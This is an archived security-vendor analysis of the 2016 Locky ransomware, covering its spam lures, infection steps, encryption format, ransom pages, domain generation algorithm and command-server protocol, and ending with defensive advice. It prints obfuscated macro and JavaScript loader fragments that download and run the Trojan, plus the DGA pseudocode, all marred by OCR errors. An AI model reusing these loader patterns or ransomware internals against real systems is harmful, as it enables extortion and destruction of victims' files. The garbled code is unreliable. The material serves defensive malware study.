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Locky: the encryptor taking the world by storm

By Fedor Sinitsyn

Published: 2016-04-06 - Archived: 2026-04-05 16:47:46 UTC

In February 2016, the Internet was shaken by an epidemic caused by the new ransomware Trojan Locky (detected
by Kaspersky Lab products as Trojan-Ransom.Win32.Locky). The Trojan has been actively propagating up to the

present day. Kaspersky Lab products have reported attempts to infect users with the Trojan in 114 countries

around the world.

Analysis of the samples has shown that this Trojan is a brand new ransomware threat, written from scratch. So,

what is Locky, and how can we protect against it?
Propagation

In order to spread the Trojan, cybercriminals sent out mass mailings with malicious loaders attached to spam

messages.

Initially, the malicious spam messages contained an attached DOC file with a macro that downloaded the Locky

Trojan from a remote server and executed it.
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From: Elbert Massey [MasseyElbert43716@hsi 14, unitymediagroup.de] Sent: 'Wed 2/17/2016 10:58 AM
To:

Cc

Subject: Invoice 2016-74583971

- Message | 8]sCAN_INVOICE 2016 74583971.doc

| » i

Hi
Here's invoice 2816-74583971 for 157,38 USD for last weeks delivery.
The amount outstanding of 498,34 USD is due on 23 Feb 2816.

If you have any questions, please let us know.

Thanks,
Elbert Massey
First Data Corporation www.firstdata.com

4|

An early-stage spam message with a malicious document attached
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Byeba X
If
GoTe jdGMIYX
JdGMIYX:
MsgBox , vbCritical,
End If
Set phgscadc = CreateObject(asdccccccasd.oiuytgfdscsdf)
phgscadc.Open asdccccccasd.ertertyyyvexxecv?2, ddsfetybx, False
phgscadc.Send
xzczxcsdfbb = phgscadc.ResponseBody
Set phgscadc = Nothing
Dim vVDUWZ As String
Dim KIrUUKL As Integer
Dim xxDPAJVYTm As Integer
Dim SAWMywcUNCa As Leng
Dim tzhlbVW, RwhnjLBArKCUeeNpZ, 1dESNmXr, RKKQtBlB As String
Dim GKe As String
Dim celEPxauadFDU As Integer
Dim vNKYaOvlLwOZAHEwLGhFei As Integer
Dim TIvWDPwPukVzcl As Long
Dim gqvRvq As Single, lufAgzIDXleFjJAnO As Byte, C sFAChriilHD As String, qsFinIGIs()
If = Then
GoTe YKLuTZe
YKLuTZe:
MsgBox , vbCritical,
End If
dfsdcsiivzxc = FreeFile
Open xzczxphgva For Binary Access Write As #dfsdcsiivzxc
Put #dfsdcsiivzxc, 1, xzczxcsdfbb
Close #dfsdcsiivzxc

sdsccvbbdsasd = Shell(xzczxphgva, vbHide)

\isual Basic file length : 2276 lines : 69 tn:1 Col:1 Sel:0|0 |Dos\Windows ~ [UTF-8 w/oBOM |INS g

A fragment of the malicious macro

Kaspersky Lab products detect files with malicious macros as Trojan-Downloader. MSWord.Agent and

HEUR:Trojan-Downloader.Script.Generic.

We should note that in modern versions of Microsoft Office, automatic execution of macros is disabled for
security reasons. However, practice shows that users often enable macros manually, even in documents from

unknown sources, which may lead to some damaging consequences.

At the time of writing, the malicious spam is still being sent, but instead of the DOC files being attached there are
now ZIP archives containing one or more obfuscated scripts in JavaScript. The messages are mostly in English,

though some bilingual variants have appeared.
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Fram: Tracey Hoover [HooverTracey 74635 @pawluk. org] Sent: Wed 3/16/2016 Z:46 AM
To: info
Cc
Subject: FW: Payment ACCEFTED M-267889

| Message | % | payment_document_267639.zip

Cear info,

Please check the payment confirmation attached to this email.
The Transaction should appear on your bank in 2 days.

Thank you.

Tracey Hoover
Financial CEO

Spam message in English with the archive attached
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Fram: david. favelals@buhlergroup. com Sent: Wed 3/16/2016 12:25 PM
Te:
Cc
Subject: [SPAM] Bestellung 30155

m| |%| Bestellung Bestellung 30155.zip.zip

k1

Sehr geehrte Damen und Herren,

anbei erhalten Sie unsere Bestellung. Diese ist maschinell erstellt und ist daher ohne
Unterschrift gliltig.

Dear ladies and gentlemen,

enclosed you receive our order. This order has been created automatically and is
valid without signature.

Mit freundlichen Griifen / Best regards

Message in German and English with the archive attached

The user is prompted to manually launch the scripts.

7-Zip File Manager =10 x|

File Edit View Favorites Tools Help

N T

Add Extract Test Copy Move Delete Info

_? |||E| C:\Users\Woodpeckers_WM_7_&4\AppDataLocal\Microsoft\WindowsTemparary Internet FiIes‘l,an

Mame | Size | Packed Size | Madified |
.@smnned_duc_ﬂlﬁ?e.js 6 347 2601 2016-03-15 21: 14
dEEilS_bSldf.js 5494 2654 2016-03-1521:14
2 afbdvbd.bmp : 90 58 2015-03-15 21:14

« I 2
0 object(s) selected |
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Contents of the archive attached to the message

=] details_b31dfjs_ 3
tMilliseconds();

var kU

var GTNQezpe \ kUM8.getMilliseconds();
WScript. DE

var kUME i

var KIh < illisecond

var tPmD é 333 JsDr

var 51BVgmkbzmdgnIS = GTNQ wAMtBNv - SatKujljVv;

var bdKbfgpuX = KIhnajn - GTNQezpewAMtBNv;

WshShell = WScript[DygCApmMrBFl + 1WIChJI3I + VaUaM + MAun + lekYihch]kw + DahfD
function NRuFwYTyv1i(HtxKsIztVPHtw){WshShell[zeTNROjnfoVTX + Arce](HtxKsIztVPHtw, @,
function xzMuw(n){return pKCrHolLQBkY + hMFpgy + SiYPtEkSmkBn + iSIQot + nZEYPCYQPVGq +
1f ([+PmDRN 1= blBqukbzmdanb} || (s1BVgmkbzmdgnIS != bdKbfgpuX)){qCOr = WshShell[SIpn

while (ZrgKzlnsk.readystate < 4 ) {WScript.Sleep(1 ;

kHwIWnPVTan = WScript[DygCApmMrBFl + 1WIChJJjI + VaUaM + MAun + XlpkYjhcbPJkw + DahfDz +
kHwIWnPVTan[scDEqqTP + UznbzasstwQj + GFAUHTDMeoY]();

kHwIWnPVTan[kaV + CPfeumZzEftFIm] =

kHwIWnPVTan [ nHfuwUBZxYSw + HAcVGhAEwwSMjx + nMBgj + EOhpPJ](ZrgKzlnsk.ResponseBody);
kHwIWnPVTan[oKoGU + gRkrvXWrql¥DnX + QAt + vndWREbVGpfg + sKtvzsZXaRqSqy + GWEHwcOkZY +
kHwIWnPVTan[zzpoMUuYC + MVP + Bsw® + aatNzLf + tG1ICMnFK + ZFLPsgUmlPVGNHQ + Kcig + L1G
kHwIWNPVTan[x0udZFghNZgSoRkk + wMRIGNZQPQGgUqQ + MyiSjkUYmhvKWEy]();

NRuFwYTyv1li(gqCOr);

tPmDRN = atKujljVv + JsDrY;

S1BVgmkbzmdgnIS + GTNQezpewAMtBNv + SatKujljV
bdKkbfgpuX = + KIhnajn + GTNQezpewAMtBNv;

1
I

JavaScript file length : 6494 lines : 204 ln:1 Col:1 Sel:0]0 |Dos\Windows ~ [UTF-8 w/oBOM [INS

Fragment of the archived script
When launched, the script downloads the Locky Trojan from a remote server and launches it.

Kaspersky Lab products detect these script loaders as Trojan-Downloader.JS.Agent and HEUR:Trojan-

Downloader.Script.Generic.

Geography of attacks

Kaspersky Security Network has reported Locky attacks in 114 countries.

TOP 10 countries
Country Number of users attacked
France 469
Germany 340
India 267
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USA 224
Republic of South Africa 182
Italy 171
Mexico 159
Brazil 156
China 126
Vietnam 107

We should note that these statistics only include cases where the actual Trojan was detected, and does not include

early-stage detections reported as malicious spam or malicious downloaders.

B 1-50 R 51-100 101 -200 1 201 - 300 I 301 - 500

B 2016 AD Kaspersky Lab. All Rights Rasarvac

The geography of Trojan-Ransom.Win32.Locky attacks (number of attacked users)

As we can see, the Trojan carries out attacks in practically all regions of the world. We can assume which
countries the cybercriminals see as their main targets based on the list of languages used on the ransom payment

webpage (see details below).

How it works

The Locky Trojan is an executable file, about 100 kb in size. It is written in C++ using STL, and is compiled in
Microsoft Visual Studio. When launching, it copies itself to % TEMP%\svchost.exe and deletes the NTFS data

stream Zone.Identifier from its copy — this is done to ensure that when the file is launched, Windows does not
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display a notification saying that the file has been downloaded from the Internet and may be potentially

dangerous. The Trojan then launches from %TEMP%.

Once launched, the Trojan checks for the presence and the contents of the below registry keys.

Path Type
HKEY_CURRENT_USER\Software\Locky\id REG_SZ
HKEY_CURRENT_USER\Software\Locky\pubkey REG_BINARY
HKEY_CURRENT_USER\Software\Locky\paytext REG_BINARY

HKEY_CURRENT_USER\Software\Locky\completed = REG_DWORD

Value
Infection ID

Public RSA key in MSBLOB

format
Text shown to the victim

Status (whether encryption is

completed)

If data already exists in the registry keys (this is the case if the Trojan has launched before, but its previous session

aborted for some reason), Locky reads that data and continues with the infection process.

If launched for the first time, the Trojan performs the following actions:

1. 1 Contacts C&C and reports infection;

2. 2 Receives a public RSA-2048 key and infection ID from C&C, saves them in the registry;

3. 3 Sends information about the language of the infected operating system, receives the cybercriminals’

ransom demand text that will be shown to the victim, saves the text in the registry;

4. 4 Searches for files with specific extensions on local disk drives, encrypts them;

5. 5 Deletes shadow copies of files;

6. 6 Registers itself for autostart

(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run);

7.7 Searches for and encrypts files with specific extensions on network drives and on network file resources

with no assigned drive letter;
8. 8 Displays the cybercriminals’ ransom demands to the victim;

9. 9 Terminates its process and removes itself.
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-text:88485F5B ; std::basic_string *__usercall GetLanguage@<{eax>(std::basic_string =langHame@{esi>)
.text:808465F5B GetlLanguage proc near ; GCODDE XREF: RepnrtInstall+3!]8Tp
.text:00465F5B ; WinMain(x,x,x,x)+51ETp
-text:0o405F5B
.text:BO485F5B var_25 = byte ptr -25h
-text:B04065F5B LCData = byte ptr -24h
-text:B04065F5B var_4 = dword ptr -4
-text:pB4ASF5B
-text:08405F5B 000 55 push ebp
-text:08405F5C 004 8B EC mnov ebp, esp
-text:00405F5E 004 83 EC 24 sub esp, 24h
-text:B0465F61 028 53 push ebx
.text:B8465F62 B2C 33 DB xor ebx, ebx
-text:08405F64 02C 89 5D FC nou [ebp+uar_4], ebx
-text:pO405F67 02C FF 15 EC 00 41 00 call ds:GetUserDefaultUILanguage
-text:00405F6D 02C 6A 20 push 28h ; cchbata
-text:00465F6F 830 8D 4D DC lea ecx, [ebp+LCData]
text:BA4B5F72 838 51 push ecx ; lpLcData
.text:80405F73 034 OF B7 CA nouzx eax, ax
-text:0B405F76 034 6A 59 push LOCALE_SISO0639LANGNAME ; LCType
-text:00405F78 038 50 push eax ; Locale
~text:BO4B85F79 03C FF 15 E8 68 41 60 call ds:GetLocalelnfof
.text:00485F7F B2C C7 46 14 OF 68 06 60 nov duord ptr [esi+ti1Gh], OFh
-text:8A465F86 B2C 89 5E 18 mou [esi+1ﬂh], ebx
-text:00405F89 020 88 1E nou [esi], bl
-text:00405F8B 020 3B C3 cmp eax, ebx
-text:00405F8D 020 7F 4F ja short loc_485FDE
-text:B0465F8F B2C 57 push edi
-text:pa4A5F98 030 BF F9 2B 41 @8 mou edi, offset unk_412BF9
-text:068405F95 030 57 push edi
-text:0O405F96 034 8B C6 mnov eax, esi
-text:B04685F98 034 E8 65 F6 FF FF call std__basic_string___Inside_8
-text:00405F9D 030 84 CO test al, al
-text:pa4A5F9F 038 74 1B jz short loc_485FBC
-text:00405FA1 030 83 7E 14 10 cmp dword ptr [esi+14h], 16h
-text:0B4B5FAS 030 72 04 jb short loc_h85FAB
-text:00405FA7 030 8B 06 mnov eax, [esi
-text:00405FA9 030 EB 62 jmp short loc_485FAD

|— -text:00405FAB :

Fragment of code that determines the language of the operating system

File encryption

The Trojan searches for files matching a given list of extensions. Then, these files are encrypted as described

below.

-tmp 0123456789ABCDEF
Tt ins_Locky_recover_instructions.txt ?¥TE 7
FIPFPII2VFVIIaA FAPXRRIINQPIIIT I
g FFInTE= T
27272722727p 0

2377
PA?2 _Locky_recover_instructions.bmp _Locky_recover
_instructions.txt tmp winnt Application Data AppData Program Files <x862> Progyr
am Files temp thumbhs.db $Becycle.Bin System Uolume Information Boot Windows
mdu .m3u .mid .wma .flv _dgZ2 .mkv _3gp .mpd4 .mov _.avi .asf _.mpeg
vob _mpg .wmv _fla .swf _wav .mpd _.gcow?2 _udi .uvmdk .vmx _gpg .aes
.ARC .PAQ _.tar.hz2 .thk .hak .tar .tgz .gz .72 .rar .gip .djv .djvwn .
suvgy _bmp _.png _.gif _.raw .cgm .Jpeg .Jjpy -tif _tiff _NEF _.psd .cmd .k
at .zh .classz .jar .java .rh .aszsp .cz .brd _.sch .dech .dip .pl .vhs _uk
.Js -h _.asm _.pas .cpp .c .php _.1df _mdf _.ibhd .MY¥I _MY¥D _frm .odh
.dbf .db .mdb .sgl .SQLITEDB .SQLITEZ .011 .10 .007 .008 .00Y .006 .
oo _004 003 .002 001 @ .pst .onetoc2 .asc .layb .lay .msll {(Security
copyr .msll .zldm .zldx .ppsm .ppsx .ppam .doch .mml .zxm .otg .odg .uwop .
potx _potm .pptx .pptm .std .sxd .pot .pps .sti _.sxi .otp .odp .wh2 _1
23 _uwks _uwkl _xltx .x1ltm .xlsx .xlsm .xlsb .slk _xlw _xlt _xIm .xlc .di
f _stc .sxc .otz L.ods _huwp .602 _dotm .dotx .docm .docx .DOT _.3dm .max
.3ds  .xml .txt _.CSU _wot .RIF .pdf .XLSE .PPT .stw .sxw .ott .odt
DOC L pem  .wl2  _csr  .crt key wallet.dat N
A7 B PA?AYA AR T @ A
v 7ATAYA?A 7A@ 7 @ A A7 v 7ATAYA?A  7AB 7 B A
B ?A?A A 7T @ A A7 A?A 8 TA?AYA AR 77T @ A
A?A B ?A?A 7R 7 @ ?A TATA B * TAYATATAYA YA O+ P71 YATAE #
2?7 M ?A 8 A?AYA  ?A 77T @ A B ?A?A TAR 7@ TATAW 2
A?A B ?ATA 7R 7 @ A A?A 8 ?A7AYA A 7 @ A
A AR 77T @ A A?A 8 TA?AYA AR 77T @ A A?A
AR 7 @ A A?A 8 A7AYA  ?AR 7 @ A A 7
A PAYATA YA T % Y@ Y@ OYAw YATAYA A ?? g @ @R R 77
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List of file extensions that are subject to encryption

For each file that matches an extension on the list, the Trojan generates a new 128-bit key and encrypts the file’s
contents with the algorithm AES-128 in CTR mode. The encrypted file is given the name <16 HEX characters as
ID><16 random HEX characters>.locky. Then the following structure is added to the end of the file:

aopeaang

GpAA0AAA file_data struc ; {sizeof=8x344, mappedto_99) ; XREF: ProcessFile/r
00000000 start_marker dd ¢ ; XREF: ProcessFile+2C/uw

goppeees id db 16 dup(?) ; HREF: ProcessFile+43/0

0o0O0614 aes_key db 256 dup(?) ; XREF: ProcessFile:loc_481862/0
ifs]sfs]s oy i ; ProcessFile+3B870 ...

He060114 name_marker dd 7 ; XREF: ProcessFile+36/u

gegee114 ;: ProcessFile+449/0

608086118 orig_name db 528 dup(?) ; %REF: ProcessFile+%B/o

oopeesZe attr WIN32_FILE_ATTRIBUTE_DATA ? : XREF: ProcessFile:loc_L4B15B1/0
Aopea3Za ;: ProcessFile:loc_A4B15E3/r ...
0eAA034YL fFile_data ends

Structure appended by the Trojan to the end of an encrypted file

In C language syntax, this structure may be described as follows:

struct file_data

{

uint32_t start_marker; //Structure start marker = 0x8956FE93

char id[16]; //Infection ID

uint8_t aes_key[256]; //AES key encrypted with RSA-2048

uint32_t name_marker; //Name start marker encrypted with AES (= 0xD41BA12A after decryption)

uint8_t orig_name[520]; //Original file name encrypted with AES
WIN32_FILE_ATTRIBUTE_DATA attr; //Original file attributes encrypted with AES

b

Appended structure described in C language syntax

Ransom demands

After encrypting the user’s files, the Trojan displays the following message with the cybercriminals’ ransom

demands.
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1 IMPORTANT INFORMATION !!1!

All of your files are encrypted with RSA-2048 and AES-128 ciphers.

More information about the RSA and AES can be found here:
http://en.wikipedia.org/wiki/RSA_(cryptosystem)
http://en.wikipedia.org/wiki/Advanced_Encryption_Standard

Decrypting of your files is only possible with the private key and decrypt program, which is on our secret server.
To receive your private key follow one of the links:

1. http://édtxggamdcrverré.tor2web.org/

2. http://6dtxggam4crverré.onion.to/

3. http://6dtxggam4crverré.onion.cab/

If all of this addresses are not available, follow these steps:
1. Download and install Tor Browser: https://www.torproject.org/download/download-easy.html
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: 6dtxggam4crverré.onion/
4. Follow the instructions on the site.

I Your personal identification ID: HnQasc

Ransom demand in English

Bl _Locky_recover_instructions.bxt - Notepad _ ol x|
File Edit Format View Help
Il WICHTIGE INFORMATIONEN !!!! =]

Alle Dateien wurden mit RSA-2048 und AES-128 Ziffern verschlisselt.

Mehr Informationen iber RSA konnen Sie hier finden:
http://de.wikipedia.org/wiki/RSA-Kryptosystem
http://de.wikipedia.org/wiki/Advanced_Encryption_standard

Die Entschlisselung Ihrer Dateien ist nur mit einem privaten Schlisseul und einem Entschliisselungsprogramm,
welches sich auf unserem Server befindet, moglich.
Um Thren privaten Schlussel zu erhalten, folgen Sie einem der folgenden Links:

1. http://6dtxggamdcrvbrré. tor2web.org/

2. http://6dtxggamdcrvbrrb.onion. to/

3. http://6bdtxggamdcrverrbt.onion.cab/

4. http://bdtxggamdcrvbrrd.onion. 1ink/

sollte keine der Adressen verfiigbar sein, folgen Sie den folgenden sSchritten:
1. Laden Sie einen Tor Browser herunter und installieren diesen: https://www.torproject.org/download/dov
2. Starten Sie den Browser nach der erfolgreichen Installation und warten auf die Initialisierung.
3. Tippen Sie in die Adresszeile: bdtxggamdcrvérrb.onion/
4. Folgen Sie den Anweisungen auf der Seite.

11l Ihre persénliche Identifizierungs-ID lautet: BN

{ 4

Ransom demand in German

The ransom message contains the address of the cybercriminals’ ‘secret server’ where they placed information
about the ransom they demand for the decryption program. All four links in the message lead to the same website

in the Tor network.

During the early spamming campaigns, the ransom payment page looked like this:
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We present a special software - -
which allows to decrypt and return control to all your encrypted files.

How to buy Locky decrypter?
You can make a payment with BitCoins, there are many methods to get them.

You should register BitCoin wallet (simplest online wallet OR some other methods of
creating wallet)

. Purchasing Bitcoins - Although it's not yet easy to buy bitcoins, it's getting simpler
every day.

Here are our recommendations:

LocalBitcoins.com (WU) - Buy Bitcoins with Western Union

Coincafe.com - Recommended for fast, simple service.

Payment Methods: Western Union, Bank of America,Cash by FedEx, Moneygram,
Money Order. In NYC: Bitcoin ATM, In Person

LocalBitcoins.com - Service allows you to search for people in your community
willing to sell bitcoins to you directly.

CEX.1O - Buy Bitcoins with VISA/MASTERCARD or Wire Transfer
btedirect.eu - THE BEST FOR EUROPE
bitquick.co - Buy Bitcoins Instantly for Cash

How To Buy Bitcoins - An international directory of bitcoin exchanges.

Early version of Locky’s ransom demand page

On this page, the cybercriminals suggested that the victims pay in bitcoins to decrypt the affected files on their
computer. They also gave recommendations about where and how to get the cryptocurrency.
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The contents and the design of the page changed with time. Today, the page is available in more than 20 languages

(that can be selected from a dropdown list), and looks like this:

i3ezlvkoi7Frryood, onion) c E" Googls )-' ﬁ’ E " ﬁ

Languages: - English b

We present a special software - Locky Decryptor™ -
which allows to decrypt and return contraol to all your encrypted files,

How to buy Locky Decryptor™?

You can make a payment with BitCoins, there are many methods to get them,

Your should register BitCoin wallet:

Sirnplest onling wallet or Sorme othier rmethods of creating wallet

Purchasing Bitcoins, altthough it's not yet easy to buy bitcoins, it's getting simpler every day,

Here are our recornmendations:

localbitooins. corn (WL Buy Bitcoins with Western Union,
coincafe.com  Recommended for fast, simple service,
Payment Methods: Western Union, Bank of America, Cash by FedEx, Moneyaram, Money Order, In NYC:
Bitcoin ATM, in person,

localbitcoins.com  Service allows you to search for people in your cormmunity wiling to sell bitcoins to you directly,
ceno  Buy Bitcoins with VISA/MASTERCARD or wire transfer,

btedirect.eu  The best for Europe,

bitguick.co  Buy Bitcoins instantly for cash,
howetohuyhitcoins info - A0 international directory of bitcoin exchanges,
cashintocoins. corm  Bitcoin for cash,

coinjar.com  Coindar allows direct bitcoin purchases on their site.

anEpro. Com

bittylicious. com

Send 0.5 BTC to Bitcoin address:

Mote: Paymient pending up to 20 mins or more for transaction confirmation, please be patient...

Cate : Amount BTC Transaction ID Confirmations
not found

Refresh the page and download decryptor,

Wiz Bitcoin transactions will receive one confirmation, you will be redirected to the page for downloading the decryptar,

Latest version of Locky’s ransom payment page

If we look at the page’s source code, we will see a complete list of supported languages. The cybercriminals
obviously see the corresponding countries as the main targets for this ransomware Trojan. Interestingly, Russian
and other CIS languages are not on the list. For some reason the cybercriminals are not that keen on targeting

users in countries where those languages are spoken — something that KSN statistics confirm.
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</p><form action="/
<font id="brown"
<select name="lang"

{option
<option
{option
{option
<option
{option
<option
{option
{option
<option
{option
{option
<option
{option
<option
{option
{option
<option
{option
{option
<option
{option
<option
{option
{option
<option
{fselect>

https://securelist.com /locky-the-encryptor-taking-the-world-by-storm /74398 /

nmgyn

value="bg"
value="ca"
value="cs"
value="da"
value="de"
value="el"
value="en"
value="es"
value="+1i"
value="+r"
value="hi
value="hr"
value="hu"
value="1it"
value="ja"
value="ko"
value="ms"
value="nl"
value="no"
value="pl"
value="pt"
value=""
value="sr
value="sv"
value="tr"
value="zh"

method=
>Lanﬂuaﬂp
cn:hanbez th15.FDPm.5ubmit[}"}
*benrapckun</option?
>Catala</option>
>Ceitina</option>
>Dansk</option>
>Deutsch</option>
>EAANv1ika< foption>
selected="selected">English</option>
>Espanol</option>
>Suomi</option>
*Francais</option>
">E=r</option>
>Hrvatski</option>
*Magyar< foption>
>Italiano</option>

c§2</option>

>et(H</option>

>*Bahasa Melayu</option>
>Nederlands<
>*Norsk bokmal</option>
>Polski</option>
>Portugués</option>

Joption>

*Slovencina</option>
>Cpnckw< foption>
>Svenska</option>
>Turk¢e</option>

>3 < foption>

List of languages supported on Locky ransom payment page

Communication with C&C

The Trojan’s code contains between one and three C&C IP addresses. On top of that, the code contains an
algorithm generating new C&C addresses (DGA, domain generation algorithm) depending on the current day,
month and year. With this algorithm, six C&C addresses are generated each day. The pseudo-code to illustrate the
DGA Locky algorithm is highlighted in the screenshot below.
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GetSystemTime{&SystenTime);
n1 = _ _ROR4__ (BxB11924E1 = (SystemTimE.w?Ear + Bx1BF5), 5);

n2 = _ ROR4__ (@BxB11924E1 = |(n1 + ((unﬁigned int}SyStemTime.wDay X 13|+ Bx27188881), 5);
n3 = _ ROR4__ (BxB11924E1 ={(n? + SystemTime.wMunth + B=Z27A9A354), 5);

nt = _ROL4_ {seed % 6, 21);

n5 = _ ROR4__ (@xB11924E1 * (n3 + ni + @x27180801), 5);

no = nS + Bx271000081;

n?7 = {n% + Bx27188881) % 11u + 5;
std::basic_string::f_17{(n5 + Bx2718088681) % 11u + 8, &str);

u22 = @;
if ( n7 )
{
do
{
ng = _ ROLA_ {nf, i);
viB = (std::basic_string =)str._Bx._Ptr;
nY = _ ROR4__ (BxB11924E1 = ng, 5);
nig = n? + Bx27100001;
ng = n18;
if ( str._Myres < 16 )
ull = &otr;
U1ﬂ—}_BH._BuF[i++] =niB % 25 + 'a‘;
¥
while ( i < n7 });
¥

v13 = (std::basic_string =)str._Bx._Ptr;
if ( str._Myres < 0x10 )

u1d = &str;
vi3-»_Bx._Buf[i] = '.*;
vl = (std::basic_string =)str._Bx._ Ptr;
n11 = _ ROR4__(8xB11924E1 x né, 5);

ni2 (n11 + Bx27188861) % 1hu;
if { str._Myres < 8x18 )
vl = fstr;
ulh->»_Bx._Buf[i + 1] = aRupweuinytpmusfrdeit[2 = ni12];
w17 = (std::basic_string =)str._Bx._Ptr;
if { str._Myres < 8x18 )
uléd = &str;
vi7-»_Bx._Buf[i + 2] = aRupweuinytpmusfrdeit[2 = ni12 + 1];

Pseudo-code of Locky C&C domain generation algorithm

Communication with a C&C is performed using the HTTP protocol. The Trojan sends a POST request to an
address with the format http://<cnc_url>/main.php; the transmitted data is encrypted with a simple symmetric

algorithm.
Let’s have a look at the possible types of transmitted parameters.
1.1

Notification about infection and request for key.

id=<infection id>

&act=getkey&affid=<partner id contained in the Trojan’s body>
&lang=<language of the operating system>

&corp=<whether the OS is a corporate OS>

&serv=<whether the OS is a server OS>

&0s=<0S version>
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&sp=<version of OS service pack>
&x64=<whether the OS is 32- or 64-bit>

Judging by the affid parameter, Locky is distributed via an affiliate, or partnership, program.

Sending list of encrypted paths.
id=<infection id>

&act=report&data=<list of paths>

For each disk drive it has handled, the Trojan sends the C&C a list of all paths to all encrypted files.

Sending statistics for each handled disk drive.
id=<infection id>

&act=stats&path=<path>
&encrypted=<number of files encrypted>
&failed=<number of errors>

&length=<total size of encrypted files>

It should be noted that the cybercriminal collects very detailed statistics for each infection. Other ransomware

families that we analyzed earlier were not this thorough at collecting statistics.

Countermeasures

Kaspersky Lab products protect against the Locky ransomware Trojan at all stages of the attack:

e The anti-spam module detects emails sent by the Trojan’s distributors;

e Script loaders are detected by static and heuristic signatures of email and file antivirus with the verdicts
Trojan-Downloader. MSWord.Agent, Trojan-Downloader.JS.Agent, HEUR:Trojan-
Downloader.Script.Generic;

e The Trojan’s executable file is detected by file antivirus signatures as Trojan-Ransom.Win32.Locky;

o Unknown samples of Locky are proactively detected by the System Watcher module with the verdict
PDM:Trojan.Win32.Generic.

Preventing infections

Locky is a typical ransomware Trojan, and it exhibits no major differences from other ransomware families in its
internal arrangement or its principles of operation. However, it caught the attention of researchers because it was
so active and so widespread. According to KSN data, Kaspersky Lab products have blocked Locky attacks in over

100 countries around the world — no other ransomware Trojan to date has attacked so many countries at once.
To protect yourself from this ransomware Trojan, follow these preventive measures:

e Do not open attachments in emails from senders you don’t know;
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e Back up your files on a regular basis and store the backup copies on removable storage media or in cloud
storages — not on your computer;

e Regularly run updates for your antivirus databases, operating system and other software installed on your
computer;

o Create a separate network folder for each user when managing access to shared network folders.

For more detailed information about protection from ransomware Trojans, please follow this link.

COUrD YOUR BUSIUESS Eodapl

SURVIVE A CRYPTOS?

Source: https://securelist.com/locky-the-encryptor-taking-the-world-by-storm/74398/
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